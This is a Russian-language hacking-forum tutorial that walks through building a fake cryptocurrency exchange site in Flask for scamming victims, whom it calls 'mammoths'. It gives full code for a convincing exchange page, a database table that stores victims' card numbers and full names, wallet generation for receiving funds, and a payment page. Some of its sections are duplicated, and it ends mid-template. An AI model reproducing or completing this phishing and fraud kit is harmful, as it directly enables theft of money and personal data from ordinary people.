В данной статье я собираюсь впервые попробовать написать скам-обменник. Я создавал на данном форуме тему с вопросом о том, какой функционал должен быть у скам-обменника, к сожалению, никто так и не ответил, поэтому буду ориентироваться лично на свое мнение о том, что мне могло бы понадобиться, работая в данной теме.
Для начала нам нужно разобраться, что же нам понадобится из функционала, и вот мой список:
Обменник будет написан на Python Flask, так как для меня это самый привычный и простой способ. Также обязательно нужна адаптация под разные разрешения, чтобы охват аудитории был не только с компьютеров, но и с телефонов, согласитесь, вы бы не стали обменивать крипту на сайте, который на телефоне не влазит в экран.
Ну что, с функционалом мы разобрались, теперь начнем к реализации обменника. Первым делом нам нужно написать сервер на Flask, для начала сервер будет простейшим и просто будет состоять из одной HTML страницы и одного CSS файла со стилями.
Чтобы начать написание кода, нам для начала потребуется скачать среду разработки.
В открывшемся окне нашего проекта, в правом нижнем углу у вас скорее всего будет написано "No Interpreter", нажимаем на эту надпись и выбираем "Add New Interpreter", затем нажимаем на "Add Local Interpreter".
В открывшемся окне можно увидеть путь до папки, где будет создана виртуальная среда разработки. Как правило, PyCharm автоматически выбирает папку проекта, поэтому это поле нам скорее всего не придется трогать. Также есть второе поле, в котором указан путь до Python. Мы выбираем путь до Python 3.11, такой же, как у меня. Версия Python имеет значение, так как некоторые библиотеки могут не работать на других версиях. Поэтому, чтобы избежать проблем в будущем, советую использовать ту же версию, что и я. После того как вы указали нужные пути, нажимайте "OK", и мы приступим к написанию сервера.
Написание сервера для нашего скам обменника
Первым делом заходим в наш main.py и прописываем вызов библиотеки Flask в самом верху: from flask import Flask, render_template. Но просто так она не начнет работать, сначала нужно скачать эту библиотеку.
Внизу интерфейса PyCharm находим кнопку "Terminal" и затем вводим туда команду pip install flask.
Теперь начинам писать код который будет запускать наш сервер Flask.
Теперь разберем что этот код вообще делает.
Почему папку нужно называть именно "templates"? Папку необходимо называть именно так, потому что в Flask по умолчанию все HTML файлы будут искать именно в этой папке. Конечно, можно принудительно назначить другое название, но называть папку "templates" - это общепринятый обычай. Все к этому привыкли, и это уже стандарт. Замена названия может в дальнейшем запутать людей, которые могут работать над проектом в будущем. Так что это правило распространяется не только на этот проект, а в принципе на все.
После создания index.html нужно что-то вывести для теста на этой странице, чтобы запустить и проверить код, который мы написали.
В данном коде особо пока что нечего разбирать, разве что пару строк.
Написание конвертера валют
Думаю, для обучения будет достаточно одного биткойна, так как остальные валюты можно будет добавлять точно так же по аналогии с биткойном.
Для того чтобы конвертировать количество биткойнов в сумму в рублях, нам потребуется использовать API стороннего сервиса, который хранит данные о ценах на криптовалюты. Как правило, у подобных сервисов есть свои узлы, и через их API можно также получать транзакции, но они нам не потребуются. Я буду использовать CoinGecko, достаточно популярный и удобный сервис.
Сначала я покажу код основного функционала обменника и объясню, что, где и почему написано, а затем уже буду работать над дизайном.
Делаем нашу страницу конвертера модной и молодежной
Для начала нам нужно создать файл CSS формата, куда в дальнейшем будем записывать стили для наших объектов.
Создаем папку "static", а внутри этой папки нажимаем на "New/File". Когда будете указывать название файла, обязательно укажите формат ".css", так как PyCharm не может сам это определить. Почему папку нужно назвать "static"? Ситуация та же самая, что и с "templates" — это название по умолчанию, используемое, и я также не советую его менять.
Теперь нам нужно внутри <head> указать путь до нашего css файла:
Затем нам нужно зайти в наш css файл и вписать простейшие стили
Создание базы данных и запись в нее личных данных мамонтенков
Теперь нам нужно, чтобы при запуске нашей программы создавалась база данных. Базу данных я буду использовать SQLite. Почему я не буду использовать MySQL?
Данный код создает базу данных и таблицы внутри неё, если их ещё нет.
Теперь обозначим, какие таблицы должны быть у нас, и какие столбцы там должны находиться.
При запуске нашей программы автоматически создается папка "instance", а в ней создается база данных. Папку я не указывал; это снова дефолтный путь.
Далее нам нужно, в первую очередь, добавить функцию, которая будет записывать данные из формы HTML внутрь нашей базы данных.
Теперь нам нужно немного изменить наш HTML файл для того, чтобы при нажатии на кнопку вызывалась функция сбора данных из полей и запись этих данных в базу данных. Что именно я сделал?
Генерация кошелька на который будут отправляться деньги
Для генерации кошельков я буду использовать библиотеку hdwallet. Библиотека легкая, и в ней достаточно много монет, так что ее хватит под любое количество монет, я думаю.
Для начала необходимо создать новый python файл. Я назову его "create_wallets", и не забываем, что нам нужно установить библиотеку командой pip install hdwallet. Теперь переходим в наш созданный файл и вставляем туда этот код:
Теперь рассмотрим некоторые части этого кода, чтобы вам было понятнее, что в нем написано.
С генерацией кошельков мы разобрались, теперь нужно добавить запись нашего кошелька в базу данных. Для этого нам потребуется зайти в main.py и дополнить его.
Теперь подробнее рассмотрим изменения
Теперь нам нужно сделать так, чтобы при нажатии на кнопку "Отправить заявку" открывалась страница с данными для оплаты, а именно:
Чтобы создать столбец в базе данных, нам нужно найти класс MamontInfo и дописать туда эту строку:
Теперь нам нужно записывать сумму в базу данных, для этого потребуется дописать функцию submit_form
Запись всех необходимых данных мы сделали. Теперь требуется сделать переход на страницу оплаты. Однако перед этим нам нужно создать саму страницу, назовем ее "payments.html", и сразу же создадим для нее CSS файл со стилями, назову его "payments.css".
Далее, чтобы при нажатии на кнопку "Отправить заявку" открывалась страница оплаты и выводились на ней данные, записанные в базу данных, нам нужно обратиться к функции submit_form и изменить ее.
Теперь нужно дописать саму страницу оплаты
Теперь нужно настроить стили страницы, чтобы она выглядела как нормальный сайт. Для этого потребуется, как минимум, добавить все выводимые данные в div блок, а затем назначить стили в CSS файле, который мы создавали. Подробно на этом не останавливаясь, просто предоставлю готовый код ниже.
Генерация QR Code который будет хранить адрес кошелька
Теперь необходимо создать генерацию QR Code и выводить его на странице оплаты. Для этого создадим новый python файл с названием "qr_generate.py", сразу же устанавливаем pip install qrcode и вставляем код в наш python файл
Теперь рассмотрим несколько строк из этого кода
Адаптация сайта под телефоны.
Для адаптации сайта под разные разрешения экрана существует множество различных способов, таких как Bootstrap, использование свойств min-width и max-width или медиа-запросы. Однако после испытания всех этих вариантов мне больше всего понравился подход через медиа-запросы. Давайте рассмотрим, как работать с медиа-запросами на примере страницы конвертера.
Заходим на страницу конвертера, нажимаем F12, затем включаем режим эмуляции устройства и выбираем устройство для эмуляции размера экрана.
Лично меня не устраивает то, что блок div, в котором находятся все элементы, такой узкий, поэтому сейчас будем это исправлять.
Заключение.
На этом моя статья подходит к концу. Материала получилось больше, чем я ожидал. Я попытался сделать его как можно более компактным и вырезал несколько тысяч символов, но при этом постарался оставить все шаги в разработке, от создания проекта до конечного результата.
Цель этой статьи была в том, чтобы показать, как реализуются подобного рода проекты. Это, конечно, не законченный проект, а лишь учебный материал, чтобы вы могли на его основе создать свой собственный проект.
Статья написана CognitoInc специально для форума xss.pro
Для начала нам нужно разобраться, что же нам понадобится из функционала, и вот мой список:
- Генератор кошельков
- Создание базы данных
- Генерация qr кодов
- Конвертер одной валюты в другую
- Курсы валют
- Для чего нужен генератор кошельков? Генератор кошельков понадобится для того, чтобы при запуске программы выдавался каждый раз разный кошелек, если база данных очищена. Мне кажется, это намного удобнее, чем вручную создавать кошельки.
- Для чего нужна база данных? В базу данных будут записываться данные, которые будет вводить будущая жертва, например: номер его карты, ФИО. Также туда будут записываться кошельки, которые будут генерироваться, а именно: приватный ключ, мнемоническая фраза, адрес кошелька, монета.
- Генератор QR-кодов понадобится больше всего для визуала, но и практический функционал у него тоже будет иметься, а именно - сканирование адреса для оплаты.
- Конвертер одной валюты в другую нам будет просто необходим, если вы хоть раз пользовались обменниками, то думаю, не нужно объяснять, для чего он нужен.
- Мониторинг курса валют также нужен для визуала и просто потому, что он есть на многих обменниках.
Обменник будет написан на Python Flask, так как для меня это самый привычный и простой способ. Также обязательно нужна адаптация под разные разрешения, чтобы охват аудитории был не только с компьютеров, но и с телефонов, согласитесь, вы бы не стали обменивать крипту на сайте, который на телефоне не влазит в экран.
Ну что, с функционалом мы разобрались, теперь начнем к реализации обменника. Первым делом нам нужно написать сервер на Flask, для начала сервер будет простейшим и просто будет состоять из одной HTML страницы и одного CSS файла со стилями.
Чтобы начать написание кода, нам для начала потребуется скачать среду разработки.
- Лично я буду использовать PyCharm, скачать его можно по этой ссылке - https://www.jetbrains.com/pycharm/download/
- Так же нам потребуется скачать Python, скачать его можно по этой ссылке - https://www.python.org/downloads/ Я буду использовать версию 3.11
- Для начала создадим папку в которой будет находиться наш проект, назовем ее Exchanger
- В нашей папке создадим текстовый файл с названием main.py, после этого файл сменит свой формат на питоновский
- Внутри папки нажимаем на пустое место правой кнопкой мыши и выбираем пункт "Open Folder as PyCharm"
- Далее нам нужно выбрать виртуальную среду разработки, советую создавать ее прямо в папке проекта, это нужно для того что бы скачанные библиотеки потом не затерялись глубоко в вашей системе и не занимали лишнее место.
В открывшемся окне нашего проекта, в правом нижнем углу у вас скорее всего будет написано "No Interpreter", нажимаем на эту надпись и выбираем "Add New Interpreter", затем нажимаем на "Add Local Interpreter".
В открывшемся окне можно увидеть путь до папки, где будет создана виртуальная среда разработки. Как правило, PyCharm автоматически выбирает папку проекта, поэтому это поле нам скорее всего не придется трогать. Также есть второе поле, в котором указан путь до Python. Мы выбираем путь до Python 3.11, такой же, как у меня. Версия Python имеет значение, так как некоторые библиотеки могут не работать на других версиях. Поэтому, чтобы избежать проблем в будущем, советую использовать ту же версию, что и я. После того как вы указали нужные пути, нажимайте "OK", и мы приступим к написанию сервера.
Написание сервера для нашего скам обменника
Первым делом заходим в наш main.py и прописываем вызов библиотеки Flask в самом верху: from flask import Flask, render_template. Но просто так она не начнет работать, сначала нужно скачать эту библиотеку.
Внизу интерфейса PyCharm находим кнопку "Terminal" и затем вводим туда команду pip install flask.
Теперь начинам писать код который будет запускать наш сервер Flask.
Python:
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run(debug=True)
Теперь разберем что этот код вообще делает.
-
Отвечает за маршрут к главной странице нашего обменника, то есть при вводе в браузере просто ссылки на наш обменник будет открываться страница index.html.Python:
@app.route('/') -
Отвечает за то, чтобы наша программа запускалась только в том случае, если мы запускаем именно этот файл, а не любой другой будущий файл Python, который может появиться у нас в проекте. Если так можно сказать, это метка того, что это основной файл нашего проекта, который и нужно будет запускать. Возможно определение не совсем верное, но я стараюсь объяснить как можно более доступно для тех кто вообще не шаритPython:
if __name__ == '__main__':
Почему папку нужно называть именно "templates"? Папку необходимо называть именно так, потому что в Flask по умолчанию все HTML файлы будут искать именно в этой папке. Конечно, можно принудительно назначить другое название, но называть папку "templates" - это общепринятый обычай. Все к этому привыкли, и это уже стандарт. Замена названия может в дальнейшем запутать людей, которые могут работать над проектом в будущем. Так что это правило распространяется не только на этот проект, а в принципе на все.
После создания index.html нужно что-то вывести для теста на этой странице, чтобы запустить и проверить код, который мы написали.
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flask Page</title>
</head>
<body>
<h1>Заскамил мамонта</h1>
</body>
</html>
В данном коде особо пока что нечего разбирать, разве что пару строк.
-
Отвечает за определение языка, на котором написан весь наш текст на странице. В основном, это нужно для того, чтобы браузеры корректно предлагали перевод страницы на другой язык.HTML:
<html lang="ru"> -
Этот title Отвечает за то, какой текст будет отображаться в браузере сверху, где находятся все открытые вкладки.HTML:
<title> -
Это тело всей нашей страницы, весь код, объекты и т.д нужно писать именно внутри <body>HTML:
<body>
Написание конвертера валют
Думаю, для обучения будет достаточно одного биткойна, так как остальные валюты можно будет добавлять точно так же по аналогии с биткойном.
Для того чтобы конвертировать количество биткойнов в сумму в рублях, нам потребуется использовать API стороннего сервиса, который хранит данные о ценах на криптовалюты. Как правило, у подобных сервисов есть свои узлы, и через их API можно также получать транзакции, но они нам не потребуются. Я буду использовать CoinGecko, достаточно популярный и удобный сервис.
Сначала я покажу код основного функционала обменника и объясню, что, где и почему написано, а затем уже буду работать над дизайном.
HTML:
<!DOCTYPE html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Обмен криптовалют</title>
</head>
<body>
<h1>Конвертер Биткойна в рубли</h1>
<label for="currency">Выберите валюту:</label>
<select id="currency" name="currency">
<option value="bitcoin">Биткойн</option>
</select>
<br>
<label for="amount">Введите количество:</label>
<input type="text" id="amount" name="amount" onkeyup="convertToRubles()">
<br>
<label for="bank">Выберите банк:</label>
<select id="bank" name="bank">
<option value="sberbank">Сбербанк</option>
<option value="vtb">ВТБ</option>
</select>
<br>
<label for="card_number">Введите номер карты:</label>
<input type="text" id="card_number" name="card_number">
<br>
<label for="card_number">Введите ФИО:</label>
<input type="text" id="fio" name="fio">
<br>
<label id="payment_amount_label" for="payment_amount">Сумма к оплате:</label>
<span id="payment_amount"></span>
<br>
<button>Отправить заявку</button>
<div id="result"></div>
<script>
function convertToRubles() {
var currency = document.getElementById("currency").value;
var amount = parseFloat(document.getElementById("amount").value);
fetch(`https://api.coingecko.com/api/v3/simple/price?ids=${currency}&vs_currencies=rub`)
.then(response => response.json())
.then(data => {
var exchangeRate = data[currency].rub;
var rubles = amount * exchangeRate;
document.getElementById("payment_amount").innerHTML = rubles.toFixed(2) + " рублей";
})
.catch(error => console.error('Ошибка:', error));
}
document.getElementById("payment_amount_label").innerHTML = "Сумма к оплате:";
</script>
</body>
</html>
-
Это селектор (выпадающий список). Внутри селектора находится список объектов для выбора, в нашем случае это банки "Сбербанк" и "ВТБ". Чтобы добавить ещё банки, понадобится добавить ещё <option> </option> с value значением названия банка. То же самое можно сделать и с выбором криптовалюты.HTML:
<select id="bank" name="bank"> -
Это поле ввода для номера карты. Если необходимо добавить сбор ещё каких-то данных от пользователя, то используем <input type="text">.HTML:
<input type="text" id="card_number" name="card_number"> -
Это кнопка, которая пока что не имеет никакого функционала, но в дальнейшем мы ее обязательно будем использовать для отправки заявки к нам на сервер и записи всех данных в нашу базу данных (которую мы пока что не создали).HTML:
<button>Отправить заявку</button> - Функция на JS convertToRubles() отвечает за получение курса криптовалюты и получения ее суммы в рублях
- https://api.coingecko.com/api/v3/simple/price?ids=${currency}&vs_currencies=rub это ссылка на API CoinGecko. {currency} это валюта, которая берется из одноименного селектора в нашем HTML коде. В данный момент в селекторе есть лишь bitcoin. Чтобы убедиться в работе ссылки, можете подставить за место {currency} название нужной криптовалюты и вставить в браузер. В ответ вам откроется страница с JSON, в котором будет вся информация о валюте. Точно так же можете заменить rub на usd, и тогда сумма будет считаться в долларах.
Делаем нашу страницу конвертера модной и молодежной
Для начала нам нужно создать файл CSS формата, куда в дальнейшем будем записывать стили для наших объектов.
Создаем папку "static", а внутри этой папки нажимаем на "New/File". Когда будете указывать название файла, обязательно укажите формат ".css", так как PyCharm не может сам это определить. Почему папку нужно назвать "static"? Ситуация та же самая, что и с "templates" — это название по умолчанию, используемое, и я также не советую его менять.
Теперь нам нужно внутри <head> указать путь до нашего css файла:
HTML:
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
CSS:
body{
background: #2d3238;
color: white;
}
- body означает, что все стили внутри него будут распространяться на все объекты, которые находятся внутри <body> в HTML (но бывают исключения, когда встроенные стили перекрывают указанные нами).
- background — это цвет заднего фона нашей страницы.
- color означает цвет текста.
- Объект с курсами валют я не писал сам, это готовый виджет от сервиса coinlib.io. У них есть огромный выбор различных виджетов, таких как графики роста, конвертеры и многое другое, доступных в разных стилях. Подобные виджеты также предоставляются Binance. Основным недостатком готовых виджетов является их ограниченная настройка, поскольку большинство стилей находятся в JavaScript, который вызывается с сервера сервиса. Конечно, можно скачать их JavaScript файл и вручную редактировать, если вам хочется, однако виджеты созданы для того, чтобы упростить процесс и позволить вставить готовый код без лишних забот.
- Также я добавил пользовательский шрифт. Чтобы использовать шрифты, их следует поместить в папку "static", так как по умолчанию шрифт будет искаться именно там. Подключение и применение шрифта к элементам следует выполнять в файле CSS, как показано в коде ниже.
CSS:
/* Подключение кастомного шрифта */
@font-face {
font-family: 'Evolve'; /* Название кастомного шрифта */
src: url('fonts/Evolve.otf') format('truetype'); /* Путь к файлу шрифта */
}
body{
font-family: 'Evolve', sans-serif; /* Шрифт */
}
CSS:
.exchanger_form{
/* Подключение кастомного шрифта */
@font-face {
font-family: 'Evolve'; /* Название кастомного шрифта */
src: url('fonts/Evolve.otf') format('truetype'); /* Путь к файлу шрифта */
}
body{
background: #2d3238;
color: white;
font-family: 'Evolve', sans-serif; /* Шрифт */
}
.exchanger_form{
width: 250px; /* Ширина блока */
height: 425px; /* Высота блока */
background: #383c42;
border-radius: 8px;
border: 1px solid #2d3238;
position: absolute; /* Позиционирование */
top: 50%; /* Расположение сверху */
left: 50%; /* Расположение слева */
transform: translate(-50%, -50%); /* Сдвиг блока на половину своей ширины и высоты */
text-align: center; /* Выравнивание текста по центру */
display: flex; /* Отображение как flex-контейнер */
align-items: center; /* Выравнивание элементов по центру */
box-shadow: 0px 0px 10px rgb(0 0 0 / 25%); /* Тень блока */
flex-direction: column; /* Направление элементов в колонку */
justify-content: center; /* Выравнивание контента по центру */
z-index: 2;
}
input{
margin: 1%;
background: #2d3238;
color: white;
border-radius: 4px;
border: 1px solid #196aa5;
font-family: 'Evolve', sans-serif; /* Шрифт */
}
label{
margin: 10px 0px 1px;
display: flex;
}
.main_form{
display: flex;
flex-direction: column;
}
select{
background: #2d3238;
color: white;
border-radius: 4px;
border: 1px solid #196aa5;
font-family: 'Evolve', sans-serif; /* Шрифт */
}
button{
color: white;
background: #64cb99;
border: none;
border-radius: 4px;
width: 200px;
height: 25px;
margin-top: 15px;
font-family: 'Evolve', sans-serif; /* Шрифт */
}
.logo{
width: 150px;
margin-bottom: 25px;
}
.count{
margin: 10px 0px;
display: flex;
flex-direction: column;
align-items: center;
}
.widget{
}
}
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
<title>Обмен криптовалют</title>
</head>
<body>
<div class="widget">
<div style="height: 62px; overflow: hidden; box-sizing: border-box; border-radius: 4px; text-align: right; line-height: 14px; block-size: 62px; font-size: 12px; font-feature-settings: normal; text-size-adjust: 100%; padding: 1px; margin: 0;">
<div style="height: 40px; padding: 0; margin: 0; width: 100%;">
<iframe src="https://widget.coinlib.io/widget?type=horizontal_v2&theme=dark&pref_coin_id=1505&invert_hover=" width="100%" height="36px" scrolling="auto" marginwidth="0" marginheight="0" frameborder="0" border="0" style="border: 0; margin: 0; padding: 0;"></iframe>
</div>
</div>
</div>
<div class="exchanger_form">
<img class="logo" src="static/img/logo.png"/>
<div class="main_form">
<label for="currency">Выберите валюту:</label>
<select id="currency" name="currency">
<option value="bitcoin">Биткойн</option>
</select>
<label for="amount">Введите количество:</label>
<input type="text" id="amount" name="amount" onkeyup="convertToRubles()">
<label for="bank">Выберите банк:</label>
<select id="bank" name="bank">
<option value="sberbank">Сбербанк</option>
<option value="vtb">ВТБ</option>
</select>
<label for="card_number">Введите номер карты:</label>
<input type="text" id="card_number" name="card_number">
<label for="card_number">Введите ФИО:</label>
<input type="text" id="fio" name="fio">
<label class="count" id="payment_amount_label" for="payment_amount">Сумма к оплате:</label>
<span id="payment_amount"></span>
<button>Отправить заявку</button>
<div id="result"></div>
</div>
</div>
<script>
function convertToRubles() {
var currency = document.getElementById("currency").value;
var amount = parseFloat(document.getElementById("amount").value);
fetch(`https://api.coingecko.com/api/v3/simple/price?ids=${currency}&vs_currencies=rub`)
.then(response => response.json())
.then(data => {
var exchangeRate = data[currency].rub;
var rubles = amount * exchangeRate;
document.getElementById("payment_amount").innerHTML = rubles.toFixed(2) + " рублей";
})
.catch(error => console.error('Ошибка:', error));
}
document.getElementById("payment_amount_label").innerHTML = "Сумма к оплате:";
</script>
</body>
</html>
Создание базы данных и запись в нее личных данных мамонтенков
Теперь нам нужно, чтобы при запуске нашей программы создавалась база данных. Базу данных я буду использовать SQLite. Почему я не буду использовать MySQL?
- По моему мнению, SQLite гораздо проще установить и настроить нежеле MySQL
- SQLite можно скомпилировать прямо внутри проекта, на сколько я знаю, с MySQL такое провернуть нельзя
- Интерфейс - лично для меня интерфейс SQLite на много понятнее и дружелюбнее нежеле MySQL
- По моим наблюдениям, SQLite жрала гораздо меньше мощностей чем MySQL
- Прописать вызов библиотеки:
Python:
from flask_sqlalchemy import SQLAlchemy - Зайдите в терминал и выполните следующую команду для скачивания и установки библиотеки: pip install flask-sqlalchemy
Python:
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db' # Указываем путь к базе данных SQLite
db = SQLAlchemy(app)
with app.app_context():
db.create_all()
Теперь обозначим, какие таблицы должны быть у нас, и какие столбцы там должны находиться.
Python:
class MamontInfo(db.Model):
id = db.Column(db.Integer, primary_key=True)
card = db.Column(db.String(16), nullable=False)
fio = db.Column(db.String(100), nullable=False)
При запуске нашей программы автоматически создается папка "instance", а в ней создается база данных. Папку я не указывал; это снова дефолтный путь.
Далее нам нужно, в первую очередь, добавить функцию, которая будет записывать данные из формы HTML внутрь нашей базы данных.
Python:
@app.route('/submit', methods=['POST'])
def submit_form():
if request.method == 'POST':
card_number = request.form['card']
fio = request.form['fio']
new_entry = MamontInfo(card=card_number, fio=fio)
db.session.add(new_entry)
db.session.commit()
return 'Заявка успешно отправлена'
Теперь нам нужно немного изменить наш HTML файл для того, чтобы при нажатии на кнопку вызывалась функция сбора данных из полей и запись этих данных в базу данных. Что именно я сделал?
- Обернул div class="main_form" внутрь form action="/submit" method="POST". Можно было обернуть только поля с номером карты и ФИО, но я обернул все для того, чтобы в дальнейшем можно было собирать данные со всех полей, если это потребуется.
- К кнопке добавил type="submit", чтобы все это начинало собираться именно при нажатии на нее.
HTML:
<form action="/submit" method="POST">
<div class="main_form">
<label for="currency">Выберите валюту:</label>
<select id="currency" name="currency">
<option value="bitcoin">Биткойн</option>
</select>
<label for="amount">Введите количество:</label>
<input type="text" id="amount" name="amount" onkeyup="convertToRubles()">
<label for="bank">Выберите банк:</label>
<select id="bank" name="bank">
<option value="sberbank">Сбербанк</option>
<option value="vtb">ВТБ</option>
</select>
<label for="card_number">Введите номер карты:</label>
<input type="text" id="card_number" name="card" required>
<label for="fio">Введите ФИО:</label>
<input type="text" id="fio" name="fio">
<label class="count" id="payment_amount_label" for="payment_amount">Сумма к оплате:</label>
<span id="payment_amount"></span>
<button type="submit">Отправить заявку</button>
</div>
</form>
Генерация кошелька на который будут отправляться деньги
Для генерации кошельков я буду использовать библиотеку hdwallet. Библиотека легкая, и в ней достаточно много монет, так что ее хватит под любое количество монет, я думаю.
Для начала необходимо создать новый python файл. Я назову его "create_wallets", и не забываем, что нам нужно установить библиотеку командой pip install hdwallet. Теперь переходим в наш созданный файл и вставляем туда этот код:
Python:
from hdwallet import HDWallet, BIP44HDWallet, BIP84HDWallet
from typing import Optional
import json
from hdwallet.symbols import BTC
from hdwallet.utils import generate_entropy
# Определение параметров
STRENGTH: int = 128
LANGUAGE: str = "english"
PASSPHRASE: Optional[str] = None
# Генерация новой случайной последовательности
ENTROPY: str = generate_entropy(strength=STRENGTH)
# Определение списка символов криптовалют
CRYPTO_SYMBOLS = [BTC]
PATH_MAPPING = {
BTC: "0'"
}
def create_wallet():
wallets_info = []
# Инициализация и создание кошелька для каждой криптовалюты из списка
for symbol in CRYPTO_SYMBOLS:
# Инициализация HDWallet
hdwallet: HDWallet = HDWallet(symbol=symbol, use_default_path=False)
# Создание кошелька
hdwallet.from_entropy(entropy=ENTROPY, language=LANGUAGE, passphrase=PASSPHRASE)
# Вывод информации о кошельке
print(f"Информация о созданном кошелке {symbol}:")
info_seed = json.dumps(hdwallet.dumps(), indent=4, ensure_ascii=False)
# Десериализация строки info_seed в словарь
info_seed_dict = json.loads(info_seed)
mnemonic = info_seed_dict["mnemonic"]
hdwallet.from_path(path=f"m/44'/{PATH_MAPPING[symbol]}/0'/0/0")
bip_hdwallet: BIP84HDWallet = BIP84HDWallet(symbol=symbol, account=0, change=False, address=0)
bip_hdwallet.from_mnemonic(mnemonic=mnemonic)
address = bip_hdwallet.address()
private_key = hdwallet.private_key()
wallets_info.append({
'symbol': symbol,
'mnemonic': mnemonic,
'address': address,
'private_key': private_key
})
print(f"Мнемоническая фраза: {mnemonic}")
print(f"Адрес: {address}")
print(f"Приватный ключ: {private_key}")
return wallets_info
Теперь рассмотрим некоторые части этого кода, чтобы вам было понятнее, что в нем написано.
-
Если кратко, эта функция создает криптовалютные кошельки, используя криптовалюты из словаря CRYPTO_SYMBOLS. Она также генерирует мнемоническую фразу и приватный ключ. После создания кошелька адрес, приватный ключ и мнемоническая фраза сохраняются в виде словаря.Python:
create_wallet(): -
В PATH_MAPPING записывается значение, с которым ассоциируется валюта. Это необходимо для получения адреса кошелька в формате BIP84. Например, для биткойна это "m/84'/0'/0'/0/0", а для лайткойна "m/44’/2’/0’/0/0". Таким образом, для BTC используется значение "0'", а для LTC - "2'". Полный список можно найти по следующей ссылке: [ссылка на список криптовалют и соответствующие значения в PATH_MAPPING].Python:
PATH_MAPPING: -
Язык указывается для генерации мнемонических фраз, их можно генерировать даже на китайском языке.Python:
LANGUAGE:
- Для начала нужно дополнить CRYPTO_SYMBOLS новыми валютами - [BTC, ETH, LTC, TRX]
- Затем нужно дополнить PATH_MAPPING - BTC: "0'", ETH: "60'", LTC: "2'", TRX: "195'"
- Теперь нам нужно изменить эту часть кода
на этуPython:
hdwallet.from_path(path=f"m/44'/{PATH_MAPPING[symbol]}/0'/0/0") bip_hdwallet: BIP84HDWallet = BIP84HDWallet(symbol=symbol, account=0, change=False, address=0) bip_hdwallet.from_mnemonic(mnemonic=mnemonic)
Python:hdwallet.from_path(path=f"m/44'/{PATH_MAPPING[symbol]}/0'/0/0") if symbol == "BTC" or symbol == "LTC": bip_hdwallet: BIP84HDWallet = BIP84HDWallet(symbol=symbol, account=0, change=False, address=0) elif symbol == "ETH" or symbol == "TRX": bip_hdwallet: BIP44HDWallet = BIP44HDWallet(symbol=symbol, account=0, change=False, address=0) bip_hdwallet.from_mnemonic(mnemonic=mnemonic)
С генерацией кошельков мы разобрались, теперь нужно добавить запись нашего кошелька в базу данных. Для этого нам потребуется зайти в main.py и дополнить его.
Python:
from flask import Flask, render_template, request
from flask_sqlalchemy import SQLAlchemy
from create_wallets import create_wallet
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
db = SQLAlchemy(app)
class MamontInfo(db.Model):
id = db.Column(db.Integer, primary_key=True)
card = db.Column(db.String(16), nullable=False)
fio = db.Column(db.String(100), nullable=False)
class Wallet(db.Model):
id = db.Column(db.Integer, primary_key=True)
coin = db.Column(db.String(50), nullable=False)
mnemonic = db.Column(db.Text, nullable=False)
address = db.Column(db.String(100), nullable=False)
private_key = db.Column(db.String(100), nullable=False)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/submit', methods=['POST'])
def submit_form():
if request.method == 'POST':
card_number = request.form['card']
fio = request.form['fio']
new_entry = MamontInfo(card=card_number, fio=fio)
db.session.add(new_entry)
db.session.commit()
return 'Заявка успешно отправлена'
if __name__ == '__main__':
with app.app_context():
db.create_all()
# Проверяем, есть ли уже записи в таблице Wallet
existing_wallets = Wallet.query.all()
if not existing_wallets: # Если нет записей, то создаем новые кошельки
wallets_info = create_wallet()
for info in wallets_info:
wallet_entry = Wallet(coin=info['symbol'], mnemonic=info['mnemonic'], address=info['address'],
private_key=info['private_key'])
db.session.add(wallet_entry)
db.session.commit()
app.run(debug=True)
Теперь подробнее рассмотрим изменения
- Был добавлен новый класс Wallet, в нем указано, с каким названием и с какими столбцами создавать таблицы в базе данных.
-
Была добавлена проверка наличия информации о сгенерированном кошельке в базе данных. Если такой информации нет, то происходит генерация кошелька и запись данных о нем в базу данных.Python:
if __name__ == '__main__':
Теперь нам нужно сделать так, чтобы при нажатии на кнопку "Отправить заявку" открывалась страница с данными для оплаты, а именно:
- Адрес кошелька
- Сумма оплаты в биткойнах
- QR Code
Чтобы создать столбец в базе данных, нам нужно найти класс MamontInfo и дописать туда эту строку:
Python:
amount = db.Column(db.String(100),nullable=False)
Python:
@app.route('/submit', methods=['POST'])
def submit_form():
if request.method == 'POST':
card_number = request.form['card']
fio = request.form['fio']
amount = request.form['amount'] # Получаем введенную сумму
new_entry = MamontInfo(card=card_number, fio=fio, amount=amount) # Добавляем сумму в создаваемую запись
db.session.add(new_entry)
db.session.commit()
return 'Заявка успешно отправлена'
Запись всех необходимых данных мы сделали. Теперь требуется сделать переход на страницу оплаты. Однако перед этим нам нужно создать саму страницу, назовем ее "payments.html", и сразу же создадим для нее CSS файл со стилями, назову его "payments.css".
Далее, чтобы при нажатии на кнопку "Отправить заявку" открывалась страница оплаты и выводились на ней данные, записанные в базу данных, нам нужно обратиться к функции submit_form и изменить ее.
Python:
@app.route('/submit', methods=['POST'])
def submit_form():
if request.method == 'POST':
card_number = request.form['card']
fio = request.form['fio']
amount = request.form['amount']
new_entry = MamontInfo(card=card_number, fio=fio, amount=amount)
db.session.add(new_entry)
db.session.commit()
# Получаем данные из таблицы MamontInfo
submitted_data = MamontInfo.query.filter_by(card=card_number, fio=fio, amount=amount).first()
# Получаем адрес кошелька из таблицы Wallet
wallet_entry = Wallet.query.first()
wallet_address = wallet_entry.address
return render_template('payments.html', submitted_data=submitted_data, wallet_address=wallet_address)
Теперь нужно дописать саму страницу оплаты
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ url_for('static', filename='payments.css') }}">
<title>Оплата</title>
</head>
<body>
<p>Номер карты: {{ submitted_data.card }}</p>
<p>ФИО: {{ submitted_data.fio }}</p>
<p>Сумма: {{ submitted_data.amount }}</p>
